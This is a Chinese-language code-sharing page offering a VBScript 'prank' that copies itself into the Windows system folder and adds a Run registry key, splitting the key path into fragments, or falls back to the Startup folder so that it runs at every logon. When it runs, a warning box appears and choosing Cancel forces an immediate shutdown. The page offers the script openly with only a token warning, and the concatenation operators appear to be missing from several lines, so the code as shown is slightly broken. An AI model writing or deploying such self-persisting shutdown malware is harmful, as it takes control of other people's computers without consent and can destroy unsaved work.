額,不多介紹了,能看懂的就拿走,看不懂的拿走也沒用。
復(fù)制代碼 代碼如下:
Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK""LM\SOFT""WARE\Micr""osoft\Win""dows\Curren""tVersion\R""un\wxb"
if (fs.FileExists(dirwin"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
else
c.Copy(dirwin"\wxb.vbs")
end if
end if
sub Show_And_Do(s)
dim f
r = MsgBox ("警告:請不要隨便動我的電腦! " Chr(13) Chr(10) "確定->下次一定會先征求同意的" Chr(10) "取消->愛咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")
If r = 1 Then
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin"\wxb.vbs")
f.Delete()
end if
Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub
好了,代碼分享給大家了,不要隨便拿去搞破壞!
您可能感興趣的文章:- 可以定時自動關(guān)機的vbs腳本
- 自己寫的一個定時關(guān)機或重啟的vbs腳本
- vbs實現(xiàn)的定時關(guān)機、重啟的腳本和程序
- vbs實現(xiàn)的eMule電驢自動關(guān)機腳本代碼
- VBS 斷網(wǎng)后自動關(guān)機30秒后
- Crack8 VBS整人腳本 你不說你愛我 就關(guān)機
- VBS中獲取系統(tǒng)本次及上次開關(guān)機時間的代碼(WinXP/win2003/Win7兼容版)
- VB關(guān)機惡搞小程序